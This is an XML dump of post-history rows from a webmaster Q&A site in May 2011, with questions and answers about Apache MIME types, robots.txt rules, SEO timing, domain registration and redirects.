  <row Id="30353" PostHistoryTypeId="6" PostId="13181" RevisionGUID="f0b8ea2d-32f9-48d7-8195-2ae33751b929" CreationDate="2011-05-02T09:06:36.823" UserId="5013" Comment="edited tags" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;wordpress&gt;&lt;dns&gt;" />
  <row Id="30354" PostHistoryTypeId="25" PostId="13174" RevisionGUID="9f5cb4cf-5e4c-4711-88f4-0fc72edadb3e" CreationDate="2011-05-02T09:11:20.660" Comment="http://twitter.com/#!/StackWebmasters/status/64980280267653120" />
  <row Id="30361" PostHistoryTypeId="2" PostId="13192" RevisionGUID="ed147ae1-804e-4c0c-b4ab-50920bf84687" CreationDate="2011-05-02T06:54:57.860" UserDisplayName="Eonil" Text="I'm serving a binary file (.IPA) with `Ubuntu/Apache 2.2`.&#xD;&#xA;When I have chosen `Save Linked File As...` in Safari, it says it's text file. And it guides me to add `.txt` extension. However it does not add any extra extension when I download it just clicking link.&#xD;&#xA;&#xD;&#xA;I added line `AddType application/octet-stream .ipa` in apache configuration file. I don't know what's wrong with this. Is this a bug of Safari or my misconfiguration? If it caused by misconfiguration, what should I do?" />
  <row Id="30362" PostHistoryTypeId="1" PostId="13192" RevisionGUID="ed147ae1-804e-4c0c-b4ab-50920bf84687" CreationDate="2011-05-02T06:54:57.860" UserDisplayName="Eonil" Text="How can I make my binary file is served as binary, not text when user choose &quot;Save Linked File As...&quot; in Safari?" />
  <row Id="30363" PostHistoryTypeId="3" PostId="13192" RevisionGUID="ed147ae1-804e-4c0c-b4ab-50920bf84687" CreationDate="2011-05-02T06:54:57.860" UserDisplayName="Eonil" Text="&lt;apache&gt;&lt;ubuntu&gt;&lt;safari&gt;" />
  <row Id="30364" PostHistoryTypeId="17" PostId="13192" RevisionGUID="edde05c7-00ae-4365-acac-4f1ae84674a2" CreationDate="2011-05-02T10:32:45.390" UserId="-1" Comment="from http://serverfault.com/questions/265377/how-can-i-make-my-binary-file-is-served-as-binary-not-text-when-user-choose-sav" Text="" />
  <row Id="30366" PostHistoryTypeId="6" PostId="9945" RevisionGUID="326db587-b1e3-4f74-a7e6-8e0dca626a1c" CreationDate="2011-05-02T11:43:11.907" UserId="1253" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;jsp&gt;" />
  <row Id="30367" PostHistoryTypeId="10" PostId="11517" RevisionGUID="8d4b0b7c-500b-4a5a-82cf-7c9d4ed2bb97" CreationDate="2011-05-02T11:52:28.890" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="30373" PostHistoryTypeId="2" PostId="13194" RevisionGUID="2ea549ac-f577-4efd-8074-ffe0996d4b53" CreationDate="2011-05-02T12:28:01.690" UserId="23" Text="Which one is correct?&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: index.php&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /index.php&#xD;&#xA;&#xD;&#xA;It is a MediaWiki site and there are those useless links: http://bb.mozillazine-tr.org/%C3%96zel:SonDe%C4%9Fi%C5%9Fiklikler&#xD;&#xA;&#xD;&#xA;I want to block all pages like index.php?day=7 index.php?day=15 index.php?day=30 etc I mean anything that starts with index.php" />
  <row Id="30374" PostHistoryTypeId="1" PostId="13194" RevisionGUID="2ea549ac-f577-4efd-8074-ffe0996d4b53" CreationDate="2011-05-02T12:28:01.690" UserId="23" Text="robots.txt and disallow" />
  <row Id="30375" PostHistoryTypeId="3" PostId="13194" RevisionGUID="2ea549ac-f577-4efd-8074-ffe0996d4b53" CreationDate="2011-05-02T12:28:01.690" UserId="23" Text="&lt;robots.txt&gt;&lt;mediawiki&gt;" />
  <row Id="30376" PostHistoryTypeId="5" PostId="13194" RevisionGUID="c1c905ba-46af-43f3-9b80-10dfc5e25278" CreationDate="2011-05-02T12:34:50.667" UserId="23" Comment="added 7 characters in body" Text="Which one is correct?&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: index.php&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /index.php&#xD;&#xA;&#xD;&#xA;It is a MediaWiki site and there are those useless links: http://bb.mozillazine-tr.org/%C3%96zel:SonDe%C4%9Fi%C5%9Fiklikler&#xD;&#xA;&#xD;&#xA;I want to block all pages like `index.php?day=7` `index.php?day=15` `index.php?day=30`&#xD;&#xA;etc I mean anything that starts with index.php" />
  <row Id="30377" PostHistoryTypeId="5" PostId="13194" RevisionGUID="edaf2194-96eb-46c7-af22-dc3a3405f6a8" CreationDate="2011-05-02T12:41:00.113" UserId="23" Comment="deleted 174 characters in body" Text="Which one is correct?&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: index.php&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /index.php&#xD;&#xA;&#xD;&#xA;inorder to block all pages like `index.php?day=7` `index.php?day=15` `index.php?day=30`" />
  <row Id="30378" PostHistoryTypeId="2" PostId="13195" RevisionGUID="5b1f7bcc-9904-4329-ad4a-3180707f3522" CreationDate="2011-05-02T13:13:23.970" UserId="1253" Text="The second one is better form as it clearly marks the index.php as being the in web root and not in some other subdirectory." />
  <row Id="30379" PostHistoryTypeId="17" PostId="13197" RevisionGUID="bddef315-3470-45aa-9612-540fa6f1a96d" CreationDate="2011-05-02T13:22:31.110" UserId="-1" Comment="from http://stackoverflow.com/questions/5857535/how-long-will-it-take-for-seo-optmization-to-bring-improvements/5857573#5857573" Text="" />
  <row Id="30380" PostHistoryTypeId="2" PostId="13197" RevisionGUID="d89f9a8e-376a-4f54-8904-99a2e4a99a0a" CreationDate="2011-05-02T13:13:01.313" UserDisplayName="Emil Vikström" Text="At least in Google results sometimes show up rather quickly, but sometimes it takes more time depending on what type of improvement you've done. Some things shows in a couple of days while others can take months.&#xD;&#xA;&#xD;&#xA;If you for example make a formerly incomprehensible website possible to parse, you may see great improvements in less than a day. If you on the other hand target your improvements on how the user interacts with the site, it make take a very long time to register." />
  <row Id="30381" PostHistoryTypeId="2" PostId="13196" RevisionGUID="eee02141-c273-414f-b83a-fba801ba633d" CreationDate="2011-05-02T13:09:28.940" UserId="7101" Text="How much time do you expect seo optimizations to enhance your search results? " />
  <row Id="30382" PostHistoryTypeId="1" PostId="13196" RevisionGUID="eee02141-c273-414f-b83a-fba801ba633d" CreationDate="2011-05-02T13:09:28.940" UserId="7101" Text="How long will it take for seo optmization to bring improvements" />
  <row Id="30383" PostHistoryTypeId="3" PostId="13196" RevisionGUID="eee02141-c273-414f-b83a-fba801ba633d" CreationDate="2011-05-02T13:09:28.940" UserId="7101" Text="&lt;seo&gt;" />
  <row Id="30384" PostHistoryTypeId="17" PostId="13196" RevisionGUID="466bdda0-99f3-45e0-9b70-bc45f804afb4" CreationDate="2011-05-02T13:22:31.110" UserId="-1" Comment="from http://stackoverflow.com/questions/5857535/how-long-will-it-take-for-seo-optmization-to-bring-improvements" Text="" />
  <row Id="30385" PostHistoryTypeId="2" PostId="13198" RevisionGUID="940b9eab-2f4e-4581-82d3-5342dd103005" CreationDate="2011-05-02T13:34:27.530" UserId="1253" Text="There is no definitive time frame. It varies depending on how often your site is crawled as no changes will matter until they are found. Then they can be factored into that page's rankings. But even then you may not see any changes as they may not make a significant difference in that page's rankings or other factors may also offset them, etc." />
  <row Id="30386" PostHistoryTypeId="2" PostId="13199" RevisionGUID="98aff51b-2573-4d2e-8e42-5bc465b46c82" CreationDate="2011-05-02T13:39:35.797" UserId="1953" Text="Your competitors probably look at them to get an idea as to what keywords you're targeting. " />
  <row Id="30387" PostHistoryTypeId="2" PostId="13200" RevisionGUID="b3a533e1-f557-48d9-bc56-300ffd7672cf" CreationDate="2011-05-02T15:01:10.373" UserId="3790" Text="I used slimbox and included the script files manually in the header on index.php, load jquery, and use noconflict for the custom script in the header" />
  <row Id="30388" PostHistoryTypeId="25" PostId="13196" RevisionGUID="d78df91b-43e0-4c6f-aa17-077ee518b287" CreationDate="2011-05-02T15:11:21.533" Comment="http://twitter.com/#!/StackWebmasters/status/65070878945312768" />
  <row Id="30392" PostHistoryTypeId="2" PostId="13202" RevisionGUID="c8586cec-802f-423a-a2ca-834461bc5bc6" CreationDate="2011-05-02T16:49:59.803" UserId="7236" Text="This answer applies to the MediaTemple DV servers.  Depending on which hosting service you went with it might be a little different for you.&#xD;&#xA;&#xD;&#xA;To have your domain name resolve to your new MT server you need to do 3 things.&#xD;&#xA;&#xD;&#xA;1 . Create the domain in Plesk.  You should have gotten an email from MT that has a URL for plesk access for your new hosting.  Log in, click domains then add a new domain.&#xD;&#xA;&#xD;&#xA;2 . Add a DNS record to your MT hosting.  Typically this is done at http://ac.mediatemple.net .  Log in. Click on Domains then Add a new domain or service. &#xD;&#xA;&#xD;&#xA;3 . Point your new domain to MT's nameservers.  Log in to your Godaddy account, manage domains, edit name servers.  Typically the nameservers will be NS1.MEDIATEMPLE.NET and NS2.MEDIATEMPLE.NET .&#xD;&#xA;&#xD;&#xA;Do those steps then give it a while to propagate and you should be up and running." />
  <row Id="30393" PostHistoryTypeId="2" PostId="13203" RevisionGUID="60b52188-8edd-4a1b-ae5d-b4272e15b927" CreationDate="2011-05-02T17:03:16.933" UserId="1253" Text="Google just wrote [a blog post that should answer your question very well][1]&#xD;&#xA;&#xD;&#xA;&gt; Q: Do the 404 errors reported in&#xD;&#xA;&gt; Webmaster Tools affect my site’s&#xD;&#xA;&gt; ranking?&#xD;&#xA;&gt; &#xD;&#xA;&gt; A: 404s are a perfectly normal part of&#xD;&#xA;&gt; the web; the Internet is always&#xD;&#xA;&gt; changing, new content is born, old&#xD;&#xA;&gt; content dies, and when it dies it&#xD;&#xA;&gt; (ideally) returns a 404 HTTP response&#xD;&#xA;&gt; code. Search engines are aware of&#xD;&#xA;&gt; this; we have 404 errors on our own&#xD;&#xA;&gt; sites, as you can see above, and we&#xD;&#xA;&gt; find them all over the web. In fact,&#xD;&#xA;&gt; we actually prefer that, when you get&#xD;&#xA;&gt; rid of a page on your site, you make&#xD;&#xA;&gt; sure that it returns a proper 404 or&#xD;&#xA;&gt; 410 response code (rather than a “soft&#xD;&#xA;&gt; 404”). Keep in mind that in order for&#xD;&#xA;&gt; our crawler to see the HTTP response&#xD;&#xA;&gt; code of a URL, it has to be able to&#xD;&#xA;&gt; crawl that URL—if the URL is blocked&#xD;&#xA;&gt; by your robots.txt file we won’t be&#xD;&#xA;&gt; able to crawl it and see its response&#xD;&#xA;&gt; code. The fact that some URLs on your&#xD;&#xA;&gt; site no longer exist / return 404s&#xD;&#xA;&gt; does not affect how your site’s other&#xD;&#xA;&gt; URLs (the ones that return 200&#xD;&#xA;&gt; (Successful)) perform in our search&#xD;&#xA;&gt; results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2011/05/do-404s-hurt-my-site.html?" />
  <row Id="30394" PostHistoryTypeId="2" PostId="13204" RevisionGUID="e4304942-571b-4d7b-a25a-d021dad76881" CreationDate="2011-05-02T17:12:32.353" UserId="7194" Text="Sure If a page has an outgoing like for 404 page then search engine will add an negative point to it. So automatically SERP for the result will reduce." />
  <row Id="30395" PostHistoryTypeId="17" PostId="13206" RevisionGUID="5d99c638-aa1e-4b66-bf9f-100b86185620" CreationDate="2011-05-02T17:19:18.167" UserId="-1" Comment="from http://superuser.com/questions/278090/is-it-possible-to-do-bulk-domain-name-expiration-lookups/278095#278095" Text="" />
  <row Id="30396" PostHistoryTypeId="2" PostId="13206" RevisionGUID="9858d87a-d0c3-4100-8a50-faf524cede92" CreationDate="2011-05-02T17:09:35.320" UserDisplayName="Taavi" Text="I believe majority of hosting providers allow you to do batch lookup / reg. using CSV files. Unless I am mistaken, [DomainTools][1] allows that as well once you have registered and logged in.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Taavi&#xD;&#xA;&#xD;&#xA;  [1]: http://whois.domaintools.com/" />
  <row Id="30397" PostHistoryTypeId="2" PostId="13205" RevisionGUID="6f7292b0-1524-4bab-ba74-a43ad65c8976" CreationDate="2011-05-02T16:55:54.580" UserDisplayName="Ben Mc" Text="Does anyone know of a way to perform bulk-lookups on domain names and their expiration dates or whois information?  I'm thinking anywhere from 10 to 500 lookups at a time." />
  <row Id="30398" PostHistoryTypeId="1" PostId="13205" RevisionGUID="6f7292b0-1524-4bab-ba74-a43ad65c8976" CreationDate="2011-05-02T16:55:54.580" UserDisplayName="Ben Mc" Text="Is it possible to do bulk domain name expiration lookups?" />
  <row Id="30399" PostHistoryTypeId="3" PostId="13205" RevisionGUID="6f7292b0-1524-4bab-ba74-a43ad65c8976" CreationDate="2011-05-02T16:55:54.580" UserDisplayName="Ben Mc" Text="&lt;domain-names&gt;" />
  <row Id="30400" PostHistoryTypeId="17" PostId="13205" RevisionGUID="a86b4748-922a-4f35-96d9-295ccd2cfb08" CreationDate="2011-05-02T17:19:18.167" UserId="-1" Comment="from http://superuser.com/questions/278090/is-it-possible-to-do-bulk-domain-name-expiration-lookups" Text="" />
  <row Id="30406" PostHistoryTypeId="25" PostId="13205" RevisionGUID="0c57e4dd-3038-47d9-8d21-e8bc753ca622" CreationDate="2011-05-02T18:11:21.637" Comment="http://twitter.com/#!/StackWebmasters/status/65116180167393280" />
  <row Id="30407" PostHistoryTypeId="2" PostId="13208" RevisionGUID="e894b58f-735f-42f9-9abf-b21f95b5c890" CreationDate="2011-05-02T18:22:35.167" UserId="6634" Text="This sounds spammy. It's keyword-stuffing. Don't do it.&#xD;&#xA;&#xD;&#xA;What you should do instead is write good, descriptive alt text for all your images. " />
  <row Id="30408" PostHistoryTypeId="2" PostId="13209" RevisionGUID="120b8966-d6f6-4845-9768-26411be81f5c" CreationDate="2011-05-02T18:46:58.403" UserId="7238" Text="Logged in a Google Analytics account that had been created/setup with a tracking code for two Websites several years ago.  Have not logged in for a while (at least 6-8 months), but at that time, everything was working as expected.  &#xD;&#xA;&#xD;&#xA;Logged in today and noticed that there were no Website profiles.  Tried adding an &quot;existing domain&quot; profile for one of the missing sites and after an hour or so, the tracking was &quot;successful&quot; (green checkbox) but still no historic data.&#xD;&#xA;&#xD;&#xA;No changes to the account have been done as far as I know.  Any idea what would have caused this to be lost and how the historical data be recovered?" />
  <row Id="30409" PostHistoryTypeId="1" PostId="13209" RevisionGUID="120b8966-d6f6-4845-9768-26411be81f5c" CreationDate="2011-05-02T18:46:58.403" UserId="7238" Text="Google Analytics: web profiles missing and data lost" />
  <row Id="30410" PostHistoryTypeId="3" PostId="13209" RevisionGUID="120b8966-d6f6-4845-9768-26411be81f5c" CreationDate="2011-05-02T18:46:58.403" UserId="7238" Text="&lt;google-analytics&gt;" />
  <row Id="30411" PostHistoryTypeId="2" PostId="13210" RevisionGUID="2e858a58-f7a8-4edf-9776-723718d0cfe5" CreationDate="2011-05-02T20:45:01.563" UserId="7240" Text="Does anyone know about a technique to make links on a website function as deep links to an embedded vimeo/youtube video on that same page? &#xD;&#xA;&#xD;&#xA;That way one could include video's in a blog post or similar, and reference certain portions of the video through deep linked time codes. I suspect one would need some javascript magic to do this. &#xD;&#xA;&#xD;&#xA;*On another note, I wish I had the &quot;tagging might&quot; to be able to introduce the tags deep-linking and vimeo.*" />
  <row Id="30412" PostHistoryTypeId="1" PostId="13210" RevisionGUID="2e858a58-f7a8-4edf-9776-723718d0cfe5" CreationDate="2011-05-02T20:45:01.563" UserId="7240" Text="How can I make links on my own page that work like deep links interacting with an embedded youtube/vimeo on that same page?" />
  <row Id="30413" PostHistoryTypeId="3" PostId="13210" RevisionGUID="2e858a58-f7a8-4edf-9776-723718d0cfe5" CreationDate="2011-05-02T20:45:01.563" UserId="7240" Text="&lt;video&gt;&lt;embed&gt;&lt;personal-website&gt;&lt;youtube&gt;" />
  <row Id="30415" PostHistoryTypeId="2" PostId="13212" RevisionGUID="17e444ca-5f09-4477-8326-8bc33055108f" CreationDate="2011-05-02T21:00:39.400" UserId="7112" Text="You can use the following robots.txt file if you wish to block all robots from accessing your pages. &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;# robots.txt for www.domain.com to block all bots&#xD;&#xA;&#xD;&#xA;User-agent: * &#xD;&#xA;Disallow: /&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;If you wish to block all all URLs that include a question mark (?) you can use the following format&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;# robots.txt for www.domain.com to block URL with ? mark&#xD;&#xA;&#xD;&#xA;User-agent: *&#xD;&#xA;Disallow: /*?&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;For more detailed information on how to write robots.txt visit the following link&#xD;&#xA;[How to Create Robots.txt Files][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.seobook.com/robots-txt/" />
  <row Id="30416" PostHistoryTypeId="25" PostId="13210" RevisionGUID="a10d7f5e-cbff-45eb-8864-e28c5d0acead" CreationDate="2011-05-02T21:11:21.657" Comment="http://twitter.com/#!/StackWebmasters/status/65161477761417216" />
  <row Id="30417" PostHistoryTypeId="2" PostId="13213" RevisionGUID="a5baae6c-dcd8-48fd-a4c5-924332cebcfa" CreationDate="2011-05-02T21:36:52.440" UserId="7082" Text="In case anyone is interested, i found this site&#xD;&#xA;&#xD;&#xA;http://www.mochahost.com/java.php" />
  <row Id="30418" PostHistoryTypeId="2" PostId="13214" RevisionGUID="d4c5756a-0084-4df2-81ce-35ac0ee37478" CreationDate="2011-05-02T21:48:05.713" UserId="7242" Text="Some content management systems have one entrance file e.g. index.php and depending on what comes after in the URL path, the system knows what data to pull.&#xD;&#xA;&#xD;&#xA;My question is if search engines index &quot;index.php&quot; or whether they follow and index all of the contents of &quot;index.php/path/to/page&quot; as well?&#xD;&#xA;&#xD;&#xA;Using the same principle, if I have a product page, but that page can bring up various categories via a query string e.g. index.php?page=electronics, index.php?page=toys can search engines reliably index the content of those &quot;pages&quot; if I have, for example, a menu that links to all those?" />
  <row Id="30419" PostHistoryTypeId="1" PostId="13214" RevisionGUID="d4c5756a-0084-4df2-81ce-35ac0ee37478" CreationDate="2011-05-02T21:48:05.713" UserId="7242" Text="Search engine friendly? index.php/path/to/page" />
  <row Id="30420" PostHistoryTypeId="3" PostId="13214" RevisionGUID="d4c5756a-0084-4df2-81ce-35ac0ee37478" CreationDate="2011-05-02T21:48:05.713" UserId="7242" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;path&gt;" />
  <row Id="30422" PostHistoryTypeId="17" PostId="13217" RevisionGUID="8ccc1d44-9172-430f-af0b-1f86c5ea0c92" CreationDate="2011-05-02T21:48:56.570" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/14998/buying-a-web-domain/15017#15017" Text="" />
  <row Id="30424" PostHistoryTypeId="2" PostId="13217" RevisionGUID="8bcef2c6-3b26-4288-80cc-476d2378259f" CreationDate="2011-05-02T20:46:04.123" UserDisplayName="sabertooth" Text="GoDaddy usually is not very impressive to me and my friends have had troubles with it. There have been recent blog posts about GoDaddy's service etc.[https://www.google.com/a/cpanel/domain/new][1] seems nice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/a/cpanel/domain/new" />
  <row Id="30425" PostHistoryTypeId="2" PostId="13215" RevisionGUID="af10907c-5b81-47ec-990a-ecfa8b21a0b6" CreationDate="2011-05-02T07:08:04.163" UserDisplayName="Chethan S." Text="I am planning to redirect my blog at blogger to my own domain. But I am confused by various options available outside. I see options like domain registration, bundled site hosting, design templates and more in Yahoo. GoDaddy offers just domain name at a price. There is one local provider who provides 10 free email accounts along with domain registration. Now I am just wondering which option to choose? Can I buy one domain and use it as custom domain in Blogger? " />
  <row Id="30426" PostHistoryTypeId="1" PostId="13215" RevisionGUID="af10907c-5b81-47ec-990a-ecfa8b21a0b6" CreationDate="2011-05-02T07:08:04.163" UserDisplayName="Chethan S." Text="Buying a web domain" />
  <row Id="30427" PostHistoryTypeId="3" PostId="13215" RevisionGUID="af10907c-5b81-47ec-990a-ecfa8b21a0b6" CreationDate="2011-05-02T07:08:04.163" UserDisplayName="Chethan S." Text="&lt;websites&gt;&lt;domains&gt;&lt;domain-names&gt;" />
  <row Id="30428" PostHistoryTypeId="17" PostId="13215" RevisionGUID="aa7866bf-a1e4-4954-bfa6-ba761b7b54d0" CreationDate="2011-05-02T21:48:56.570" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/14998/buying-a-web-domain" Text="" />
  <row Id="30429" PostHistoryTypeId="2" PostId="13218" RevisionGUID="7e7b1903-84d2-452d-907c-516a3cd294e9" CreationDate="2011-05-02T22:19:24.650" UserId="5157" Text="You can buy a domain from any place that sells them. Everyone will recommended some place to buy from because they have either used them or are affiliated with that company. I'm affiliated with a company but I won't push them or mention them unless you are curious. &#xD;&#xA;&#xD;&#xA;The biggest domain seller is Go Daddy, I'm not a fan but they are pretty easy to buy from. Name Cheap is another one that is big. Then there is NetworkSolutions and Register.com, they are both big and old companies but they charge pretty high prices for domains.&#xD;&#xA;&#xD;&#xA;You can also buy domains through Blogger. Here are the instructions on buying a domain from Blogger and just pointing a domain bought from someplace else: http://www.google.com/support/blogger/bin/static.py?page=ts.cs&amp;ts=1233381" />
  <row Id="30430" PostHistoryTypeId="2" PostId="13219" RevisionGUID="1a8699e0-2d5a-43fc-9ed8-e3c8dd96be7d" CreationDate="2011-05-02T22:23:05.140" UserId="7223" Text="I found this site, http://psncardgenerator.com/ it has a unique id generator, and click counter. i understand how the id was made, but dont understand how the counter was. Does anyone know? (Im not promoting the site, since you can see im not even using an id, im just interested to how they count the clicks)" />
  <row Id="30431" PostHistoryTypeId="1" PostId="13219" RevisionGUID="1a8699e0-2d5a-43fc-9ed8-e3c8dd96be7d" CreationDate="2011-05-02T22:23:05.140" UserId="7223" Text="How does this site count clicks?" />
  <row Id="30432" PostHistoryTypeId="3" PostId="13219" RevisionGUID="1a8699e0-2d5a-43fc-9ed8-e3c8dd96be7d" CreationDate="2011-05-02T22:23:05.140" UserId="7223" Text="&lt;php&gt;" />
  <row Id="30433" PostHistoryTypeId="2" PostId="13220" RevisionGUID="92f65453-f1ab-45e5-b792-a343518c2620" CreationDate="2011-05-02T04:59:39.990" UserDisplayName="hunaid mushtaq" Text="we have a well ranking site on the domain(e.g. www.test.com) running for 2 years having good PR i.e. 5 and the site having its 400000+ url indexed and then we have a new site on the subdomain(e.g. data.test.com) which is relatively new(6 months) having only around 20k url indexed. &#xD;&#xA;&#xD;&#xA;what we are planning to do is move the main site to a new subdomain(from www.test.com to new.test.com) and promote the other site on the subdomain(data.test.com) to main domain(www.test.com).&#xD;&#xA;&#xD;&#xA;what would be the effect on ranking, PR once this switch is done? assuming 95% of the URL's are handled properly through 301 redirect.&#xD;&#xA;&#xD;&#xA;any help would be highly appreciated." />
  <row Id="30434" PostHistoryTypeId="1" PostId="13220" RevisionGUID="92f65453-f1ab-45e5-b792-a343518c2620" CreationDate="2011-05-02T04:59:39.990" UserDisplayName="hunaid mushtaq" Text="domain, subdomain and ranking" />
  <row Id="30435" PostHistoryTypeId="3" PostId="13220" RevisionGUID="92f65453-f1ab-45e5-b792-a343518c2620" CreationDate="2011-05-02T04:59:39.990" UserDisplayName="hunaid mushtaq" Text="&lt;domains&gt;&lt;subdomain&gt;&lt;pagerank&gt;" />
  <row Id="30436" PostHistoryTypeId="17" PostId="13220" RevisionGUID="bbf4825e-2e7e-4b8e-8677-7bb5fd720eac" CreationDate="2011-05-02T22:31:57.837" UserId="-1" Comment="from http://stackoverflow.com/questions/5853588/domain-subdomain-and-ranking" Text="" />
  <row Id="30438" PostHistoryTypeId="5" PostId="13024" RevisionGUID="72889696-fa4b-4f3c-943f-a53e3909d81a" CreationDate="2011-05-02T22:46:29.697" UserId="7141" Comment="added 305 characters in body" Text="I would also make sure you're taking advantage of the meta tags that go in your &lt;head&gt;&lt;/head&gt;... for example:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;This is the personal website for My Name&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;keywords&quot; content=&quot;My Name, Web Development, Awesomeness, etc...&quot;&gt;&#xD;&#xA;&#xD;&#xA;SEO on google is a tricky subject... whether it's due to the fabled 'sandbox effect' or what... You said you have no competition on the name so I won't go any further than saying it'll be tough if your name is 'John Smith'.  &#xD;&#xA;&#xD;&#xA;Another great reference that I send all my buddies to, though a little old, is a good start:&#xD;&#xA;&#xD;&#xA;http://www.google.com/events/io/2009/sessions/SearchFriendlyDevelopment.html&#xD;&#xA;&#xD;&#xA;Nice little vid there.  Hope that helps!&#xD;&#xA;&#xD;&#xA;Good luck mate!&#xD;&#xA;&#xD;&#xA;**EDIT:** @John Conde - his problem isn't page rank.  It's an issue with being identified.  Adding the tags may allow you to be recognized by the things you type in... now, if someone else wanted to use your name on their web page they have a chance to outrank you, but you'll at least be on the list." />
  <row Id="30442" PostHistoryTypeId="25" PostId="13219" RevisionGUID="096bf845-51d3-4b30-899b-a6225a300937" CreationDate="2011-05-03T00:11:22.027" Comment="http://twitter.com/#!/StackWebmasters/status/65206778312400896" />
  <row Id="30443" PostHistoryTypeId="2" PostId="13222" RevisionGUID="efcdaa79-d069-44b9-a98c-9aac3978b52e" CreationDate="2011-05-03T00:41:39.007" UserId="2293" Text="You can start reading basics about that on&#xD;&#xA;&#xD;&#xA;http://www.seomoz.org/beginners-guide-to-seo&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en-US//webmasters/docs/search-engine-optimization-starter-guide.pdf&#xD;&#xA;&#xD;&#xA;Now, in a straight to the point answer: yes, search engines can index those pages as different content.&#xD;&#xA;&#xD;&#xA;Anyway you can make your URLs different (query strings, paths, hashes), display different contents, and provide non-obtusive ways for any robot read your links (using real links instead of javascript/flash, improvin' acessibility), then your are fine." />
  <row Id="30444" PostHistoryTypeId="2" PostId="13223" RevisionGUID="52a80300-8a3f-4fda-bbf0-be544fd47d54" CreationDate="2011-05-03T00:47:32.683" UserId="7247" Text="Search engines can index query string URLs (?page=toys) but it is better to make them appear as directory/page.  It makes them easier to read.&#xD;&#xA;&#xD;&#xA;.htaccess files can help with URL rewriting.  &#xD;&#xA;[rewrite query strings in urls][1] AND&#xD;&#xA;[rewrite query string with htaccess][2]&#xD;&#xA;&#xD;&#xA;.htaccess files can also remove the index.php from your URLs.  &#xD;&#xA;&#xD;&#xA;I recommend both of these actions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://corz.org/serv/tricks/htaccess2.php&#xD;&#xA;  [2]: http://www.htmlist.com/how-to/a-simplemod_rewrite-tutorial/&#xD;&#xA;  [3]: http://www.programmingfacts.com/how-to-remove-index-php-from-url-using-htaccess-mod_rewrite/" />
  <row Id="30445" PostHistoryTypeId="2" PostId="13224" RevisionGUID="bf7c6811-d726-4644-9fec-3650cce52727" CreationDate="2011-05-03T01:31:28.993" UserId="5806" Text="There are 3 separate things:&#xD;&#xA;&#xD;&#xA;- Buying a domain name&#xD;&#xA;- Buying a hosting service&#xD;&#xA;- Installing and configuring your blogging software&#xD;&#xA;&#xD;&#xA;Many places will do more than one of these or even all of these for you to make more money. The advantage to you is that they take care of some details like pointing the domain name (DNS) to the hosting service.&#xD;&#xA;&#xD;&#xA;My favorite place for hosting is [Total Choice Hosting][1]. They have reasonable price and the very best service I have experienced. I am not affiliated with them but I send many of my clients there. They also sell domain names and if you buy from them you do not have to configure the DNS.&#xD;&#xA;&#xD;&#xA;Many hosting providers give you software pre-installed, but it is not you can do it yourself. [Wordpress][2] which is an excellent blogging platform has an ultra-easy install and even automated updates now.&#xD;&#xA;&#xD;&#xA;For domain names, GoDaddy is cheap and many will tell you the service sucks. I do not have a bad experience with them and save money with their bulk domain name pricing since I buy lots of domains for clients. I do prefer [Dotster][3] for simplicity, so if you are a beginner I would go with them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://totalchoicehosting.com/web-hosting-plans.html&#xD;&#xA;  [2]: http://wordpress.org/&#xD;&#xA;  [3]: http://www.dotster.com/" />
  <row Id="30446" PostHistoryTypeId="5" PostId="13192" RevisionGUID="edf563ef-683d-48f4-8531-d3a038d792e1" CreationDate="2011-05-03T02:39:53.450" UserId="7248" Comment="added 54 characters in body; edited tags" Text="I'm serving a binary file (.IPA) with `Ubuntu/Apache 2.2`.&#xD;&#xA;When I have chosen `Save Linked File As...` in Safari, it says it's text file. And it guides me to add `.txt` extension. However it does not add any extra extension when I download it just clicking link.&#xD;&#xA;&#xD;&#xA;I added line `AddType application/octet-stream .ipa` in apache configuration file. I don't know what's wrong with this. Is this a bug of Safari or my misconfiguration? (1) If it caused by bug, how can I avoid this? (2) Or if it caused by misconfiguration, what should I do?" />
  <row Id="30447" PostHistoryTypeId="6" PostId="13192" RevisionGUID="edf563ef-683d-48f4-8531-d3a038d792e1" CreationDate="2011-05-03T02:39:53.450" UserId="7248" Comment="added 54 characters in body; edited tags" Text="&lt;apache&gt;&lt;safari&gt;&lt;ubuntu&gt;" />
  <row Id="30448" PostHistoryTypeId="2" PostId="13225" RevisionGUID="58a5220f-d9d4-4215-92c4-ad9148a01633" CreationDate="2011-05-03T03:03:54.407" UserId="1253" Text="You will lose some PR as their is a small dampening factor applied to 301 redirects but the amount lost is small (the exact amount is unknown)." />
